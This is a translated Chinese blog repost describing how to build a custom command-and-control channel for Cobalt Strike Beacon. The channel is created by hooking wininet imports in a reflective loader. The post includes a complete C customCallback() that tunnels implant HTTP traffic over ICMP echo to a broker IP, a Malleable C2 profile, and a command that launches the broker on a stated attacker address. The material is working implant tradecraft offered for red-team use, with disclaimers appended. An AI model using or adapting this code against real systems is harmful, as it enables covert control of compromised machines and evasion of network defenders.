文章总结: 本文介绍一种通过挂钩wininetAPI构建自定义C2通信信道的技术,解决了CobaltStrike等框架在自定义C2接口上的限制。作者提供了基于CrystalPalace框架的模板,可拦截HTTP通信并通过任意信道传输。文章详细展示了ICMP信道的实现代码及配置方法,为红队操作提供了灵活的通信解决方案。 综合评分: 88 文章分类: 红队,免杀,安全开发,内网渗透
通过 Hook wininet 构建自定义 C2 通信信道
aeverj
红队工坊
2025年12月24日 06:00 北京
翻译自 Building custom C2 channels by hooking wininet | CodeX’s Terminal Window
再声明一下:在我着手编写这个工具和博文时,UDC2 尚未发布——它是在初始代码仓库发布之后、本文正式发布之前才推出的。
https://github.com/CodeXTF2/CustomC2ChannelTemplate <— 本文配套的代码仓库
免责声明:利用 IAT 挂钩(Import Address Table,导入地址表)技术(包括对 wininet API 的挂钩)来实现自定义 C2(Command and Control,命令与控制)信道,并非什么新鲜事,我也不敢自称是第一个这么做的人。其他项目早已实现过类似功能,但它们通常只针对特定信道,比如 DNS、Graph API 等。本项目的目标,是打造一个通用的、与协议无关的接口框架。相关致谢请参阅 Github 仓库。
本文将阐述这套模板背后的设计思路,简要演示如何使用其示例 PoC(Proof of Concept,概念验证),并以 ICMP 信道为例,手把手带你完成模板的扩展。
概述
如今,绝大多数 C2 框架都内置了某种 HTTP C2 信道,但并非所有框架都提供了文档完善的自定义信道接口。而有些框架(比如 Cobalt Strike 的 externalc2)对官方自定义 C2 接口的实现有着非常严苛的规范。正如 [Fortra 官方所承认的] https://www.cobaltstrike.com/resources/upcoming/fortra-cobalt-strike-demo-session-nov-2025 ,当前 Cobalt Strike 的 externalc2 接口对开发者和操作者来说限制颇多。到目前为止,它要求必须按以下步骤执行:
- externalc2 处理器连接到 Cobalt Strike 团队服务器(teamserver)
- externalc2 代理连接到其处理器
- externalc2 代理通过处理器,向团队服务器请求一个特殊的 SMB Beacon
- externalc2 代理将该 SMB Beacon 以 shellcode 形式加载到内存中
- externalc2 代理通过命名管道与 SMB Beacon 通信
这套流程为 externalC2 创造了一条非常固化的执行链——开发者和操作者几乎没有自由度来规避这些特定操作,以及随之而来的各种取舍与妥协。
从 Cobalt Strike 4.10 版本起,新增了一个 [直通模式] https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-3-beacon-user-data ,允许直接使用预制的 SMB Beacon,从而省去了额外的分段加载(staging)步骤。而在 Cobalt Strike 4.12 版本中(截至本文撰写时即将发布),官方正在规划一套基于 BOF(Beacon Object File,Beacon 对象文件)的自定义 C2 接口。虽然灵活性有所提升,但这套方案可能仍会受制于 [Cobalt Strike COFF 加载器的种种限制] https://blog.cybershenanigans.space/posts/boflink-a-linker-for-beacon-object-files/ 。这些限制过去曾让我(和其他开发者)在开发中头疼不已,以至于 [Matt Ehrnschwender] https://x.com/M_alphaaa 专门 [为 BOF 编写了一个完整的链接器] https://github.com/MEhrn00/boflink 来解决这些问题。
不过,几乎所有 C2 框架都具备基于 HTTP 的 C2 信道。这就为自定义 C2 信道打开了一扇大门:我们只需挂钩 HTTP API,拦截全部通信数据,将其打包后通过任意信道发送出去;然后在攻击者端接收并解析这些数据,再透明地转发给 HTTP 监听器即可。
从技术上讲,这种方法适用于任何满足以下条件的 C2 框架:
- 使用 Windows 标准 HTTP 库(如 wininet)
- 具备 HTTP C2 信道
理论上,任何符合上述条件的框架都可以透明地应用这种方法。不过,对于那些通过反射式加载(reflective loading)注入内存的植入程序(implant)来说,实现起来要容易得多。因为反射式加载器可以控制导入解析过程,进而控制内存中 PE(Portable Executable,可移植可执行文件)的导入表——这意味着我们无需实际篡改内存中的 wininet DLL(Dynamic Link Library,动态链接库)或进程的真实 IAT,就能完成挂钩。
其核心逻辑如下图所示:
要以一种与 C2 框架无关、且易于修改的方式来实现这个目标,我首先想到的工具是 Raphael Mudge 开发的 [Crystal Palace 框架] https://tradecraftgarden.org/crystalpalace.html 。简单来说,它是一个用于创建位置无关 DLL 加载器的框架,并自带一些 IAT 挂钩的示例——这对于我们的场景简直是量身定制。
在这个 PoC 中,我使用了 [@Rastamouse] https://x.com/_RastaMouse 的 [Crystal Kit] https://github.com/rasta-mouse/Crystal-Kit 作为开发模板。不过理论上,仓库中的代码应该可以轻松移植到任何支持 IAT 挂钩的反射式加载器,比如 [AceLdr] https://github.com/kyleavery/AceLdr 、[BokuLoader] https://github.com/boku7/BokuLoader 等。此外,虽然开发和测试是基于 Cobalt Strike 进行的,但它也应该能轻松移植到其他符合上述条件的框架上。
本仓库中的 PoC 模板会挂钩 Cobalt Strike 使用的 wininet API,将拦截到的数据转换为 JSON 格式,再进行 Base64 编码,最后传入 customCallback() 函数。
理论上,只要你修改 customCallback() 函数,使其能够将这个 Base64 数据块发送给第三方处理器,并获取响应返回,那么无论使用什么信道,Beacon 都应该能正常工作。
第三方处理器只需解码并转发收到的 HTTP 请求——通过任何介质都行。
仓库的 examples 文件夹中提供了 TCP 和 UDP 的示例,但你真的应该自己实现,因为这些只是示例,并非为实际作战环境设计的(UDP 那个版本不支持超过 65535 字节的回调数据,因为我懒得实现超出最大数据报大小的分块传输,哈哈)。本文将以 ICMP 信道为例,演示如何使用这个模板进行扩展。
本文不会深入讲解 ICMP 本身如何作为通信协议使用——相关方法直接取自 [这个 Github 仓库] http://github.com/ryanq47/CS-EXTC2-ICMP/ 。请阅读他的 [原创博文] https://ryanq47.github.io/posts/CobaltStrike_ICMP_Tunnel/ ,或者阅读我代码中的注释(由 GPT 生成)。
以下是我为使用该信道而实现的 customCallback() 函数代码示例:
// customCallback
// -------------
// 这个函数被设计为一个"回调"函数,接收一个编码后的请求字符串,
// 通过 ICMP(使用 IcmpSendEcho)将其发送到远程"代理",
// 等待回复,然后返回一个动态分配的缓冲区,
// 其中包含以 NUL 结尾的响应数据字符串。
//
// 通信协议格式如下:
//
// 请求(通过 ICMP 载荷发送):
// [4 字节: DWORD reqLen][reqLen 字节: encodedRequest 字节]
//
// 响应(在 ICMP 回复载荷中接收):
// [4 字节: DWORD responseLen][responseLen 字节: 响应数据]
//
// 返回的响应字符串的内存通过 HeapAlloc 从进程堆分配,
// 调用者必须使用 HeapFree(GetProcessHeap()) 释放。
//
staticchar *customCallback(constchar *encodedRequest, constchar *host, INTERNET_PORT port)
{
// 获取当前进程堆句柄,用于所有 HeapAlloc/HeapFree 调用。
HANDLE hHeap = KERNEL32$GetProcessHeap();
// 确定 encodedRequest 字符串的长度(如果非 NULL)。
// MSVCRT$strlen 是导入的 msvcrt strlen。
DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0;
// IcmpCreateFile 返回的 ICMP "文件"句柄。
HANDLE icmpHandle = NULL;
// 用于发送和接收 ICMP 载荷的缓冲区,
// 以及将返回给调用者的最终响应。
char *sendBuffer = NULL;
char *responseBuf = NULL;
char *replyBuffer = NULL;
// 记录回调调用的基本信息:请求的主机和端口。
// 如果 host 为 NULL,打印空字符串以避免解引用 NULL。
MSVCRT$printf("[customCallback] received request for %s:%u\n",
host ? host : "",
(unsignedint)port);
// 如果没有请求数据(NULL 指针或零长度),则无需发送。
// 在这种情况下提前返回 NULL。
if (encodedRequest == NULL || reqLen == 0) {
MSVCRT$printf("[customCallback] no request data to send\n");
returnNULL;
}
// 打开一个 ICMP 句柄。这是调用 IcmpSendEcho 之前必需的。
// 失败时返回 INVALID_HANDLE_VALUE。
icmpHandle = IPHLPAPI$IcmpCreateFile();
if (icmpHandle == INVALID_HANDLE_VALUE) {
MSVCRT$printf("[customCallback] IcmpCreateFile failed\n");
returnNULL;
}
// 我们将 ICMP 载荷构造为:
// [4 字节: reqLen][reqLen 字节: encodedRequest]
//
// 因此总 packetLen 是长度字段的大小加上数据本身。
DWORD packetLen = sizeof(DWORD) + reqLen;
// 在进程堆上为传出的 ICMP 载荷分配缓冲区。
sendBuffer = (char *)KERNEL32$HeapAlloc(hHeap, 0, packetLen);
if (sendBuffer == NULL) {
MSVCRT$printf("[customCallback] allocation failed for request buffer\n");
goto cleanup; // 跳转到 cleanup 关闭句柄等。
}
// 将 4 字节长度前缀复制到发送缓冲区的开头。
memcpy(sendBuffer, &reqLen, sizeof(DWORD));
// 将请求字节复制到长度字段之后。
memcpy(sendBuffer + sizeof(DWORD), encodedRequest, reqLen);
// 分配缓冲区以接收 ICMP 回显回复。
//
// ICMP_REPLY_BUFSIZE 应该是一个宏,定义回复
// 缓冲区应该多大(足以容纳 ICMP_ECHO_REPLY 结构加载荷)。
DWORD replySize = ICMP_REPLY_BUFSIZE;
replyBuffer = (char *)KERNEL32$HeapAlloc(hHeap, 0, replySize);
if (replyBuffer == NULL) {
MSVCRT$printf("[customCallback] allocation failed for reply buffer\n");
goto cleanup;
}
// 使用 inet_addr 将 BROKER_IP 字符串(如 "192.168.1.10")
// 转换为网络字节序的 32 位 IPv4 地址。
// 失败时,inet_addr 返回 INADDR_NONE。
DWORD destIp = WS2_32$inet_addr(BROKER_IP);
// 发送 ICMP 回显请求:
//
// icmpHandle - IcmpCreateFile 返回的句柄
// destIp - 目标 IPv4 地址
// sendBuffer - 指向我们自定义载荷(长度 + 请求)的指针
// packetLen - 载荷大小(字节)
// NULL - 无自定义 IP_OPTION_INFORMATION 结构
// replyBuffer - 用于接收 ICMP_ECHO_REPLY + 数据的缓冲区
// replySize - replyBuffer 的大小
// ICMP_TIMEOUT_MS - 回显回复的超时时间(毫秒)
//
// 成功时,IcmpSendEcho 返回收到的回复数量(非零)。
DWORD result = IPHLPAPI$IcmpSendEcho(
icmpHandle,
destIp,
sendBuffer,
(WORD)packetLen,
NULL,
replyBuffer,
replySize,
ICMP_TIMEOUT_MS
);
// 如果 result == 0,调用失败或在超时内未收到回复。
if (result == 0) {
MSVCRT$printf("[customCallback] IcmpSendEcho failed\n");
goto cleanup;
}
// 将 replyBuffer 解释为 ICMP_ECHO_REPLY 结构,以便我们可以检查
// 状态并获取载荷(pReply->Data, pReply->DataSize)。
PICMP_ECHO_REPLY pReply = (PICMP_ECHO_REPLY)replyBuffer;
// 如果 Status 不是 IP_SUCCESS,则 ICMP 回复被视为错误。
if (pReply->Status != IP_SUCCESS) {
MSVCRT$printf("[customCallback] ICMP reply returned status 0x%08lx\n",
(unsignedlong)pReply->Status);
goto cleanup;
}
// 我们期望回复载荷的布局为:
// [4 字节: DWORD responseLen][responseLen 字节: 响应数据]
//
// 首先验证我们至少有足够的字节来读取长度字段。
if (pReply->DataSize < sizeof(DWORD)) {
MSVCRT$printf("[customCallback] ICMP reply too small for length field\n");
goto cleanup;
}
// 从回复载荷的开头读取 4 字节响应长度。
DWORD responseLen = 0;
memcpy(&responseLen, pReply->Data, sizeof(DWORD));
// 验证 responseLen:
// - 必须非零。
// - 必须在剩余载荷范围内(DataSize - sizeof(DWORD))。
if (responseLen == 0 || responseLen > (pReply->DataSize - sizeof(DWORD))) {
MSVCRT$printf("[customCallback] invalid response length %lu from ICMP reply\n",
(unsignedlong)responseLen);
goto cleanup;
}
// 分配缓冲区来保存响应数据加上一个终止 NUL 字节。
// 这是我们将返回给调用者的缓冲区。
responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, responseLen + 1);
if (responseBuf == NULL) {
MSVCRT$printf("[customCallback] allocation failed for response buffer\n");
goto cleanup;
}
// 从 ICMP 回复载荷复制响应字节(从 4 字节长度字段之后开始)
// 到我们的响应缓冲区。
memcpy(responseBuf,
(char *)pReply->Data + sizeof(DWORD),
responseLen);
// 手动 NUL 终止响应字符串,使其成为有效的 C 字符串。
responseBuf[responseLen] = '\0';
// 记录我们成功接收了多少字节。
MSVCRT$printf("[customCallback] received %lu bytes over ICMP\n",
(unsignedlong)responseLen);
// 注意:此时,responseBuf 指向一个堆分配的、NUL 终止的
// 字符串,调用者需要负责释放它。
cleanup:
// 如果已分配,释放传出数据包缓冲区。
if (sendBuffer != NULL) {
KERNEL32$HeapFree(hHeap, 0, sendBuffer);
}
// 如果已分配,释放 ICMP 回复缓冲区。
if (replyBuffer != NULL) {
KERNEL32$HeapFree(hHeap, 0, replyBuffer);
}
// 如果成功创建,关闭 ICMP 句柄。
if (icmpHandle != NULL && icmpHandle != INVALID_HANDLE_VALUE) {
IPHLPAPI$IcmpCloseHandle(icmpHandle);
}
// 返回响应缓冲区(如果发生任何失败,可能为 NULL)。
// 调用者负责使用 HeapFree(GetProcessHeap()) 释放它。
return responseBuf;
}
你需要更新 hook.h 来解析一些函数(比如 IPHLPAPI 相关的函数)。
然后,你需要修改 broker.py 中的 handleCallback() 函数,使其监听 ICMP 请求,提取 Base64 数据块,并将其传递给 process_encoded_request() 函数。
这个函数也非常简单——你只需要接收数据,然后调用:
# 这是你调用来向团队服务器发送数据的方法
# 你必须对编码后的请求调用 process_func 来获取响应
encoded_response = process_encoded_request(encoded_request)
并通过你选择的信道(本例中为 ICMP)返回 encoded_response。
ICMP 的实际数据收发超出了本文的讨论范围,但如果你对上面链接的博文中描述的 ICMP 信道有大致了解,实现起来应该相对简单。完整代码已在 Github 仓库中提供。
使用方法很简单:下载并加载 Crystal Kit,用你修改后的文件替换 udrl/src/hook.c 和 udrl/src/hook.h,从 examples 文件夹中放入一个 customCallback.h,然后用它生成 Beacon。记得在 HTTP 选项中选择 wininet,因为挂钩就是针对它的。winhttp 会照常工作。
虽然大多数 Malleable C2 配置文件应该都能用,但本项目测试时使用的是 GraphStrike 的配置文件:
http-get "customc2" {
# 我们只需要 URI 是独特且可识别的,以便 GraphStrike 能够解析出相关值
set uri "/_";
set verb "GET";
client {
metadata {
base64url;
uri-append;
}
}
server {
output {
print;
}
}
}
http-post "customc2" {
# 我们只需要 URI 是独特且可识别的,以便 GraphStrike 能够解析出相关值
set uri "/-_";
set verb "POST";
client {
id {
uri-append;
}
output {
print;
}
}
server {
output {
print;
}
}
}
现在,你只需要运行代理脚本:
请在微信客户端打开
python broker_icmp.py --host 192.168.208.137 --port 4444 --listen-host 0.0.0.0
然后运行 Beacon。这些挂钩应该也能轻松移植到其他 C2 框架,比如 Metasploit meterpreter,但本文就不展开讨论了。
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队工坊 aeverj《通过 Hook wininet 构建自定义 C2 通信信道》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论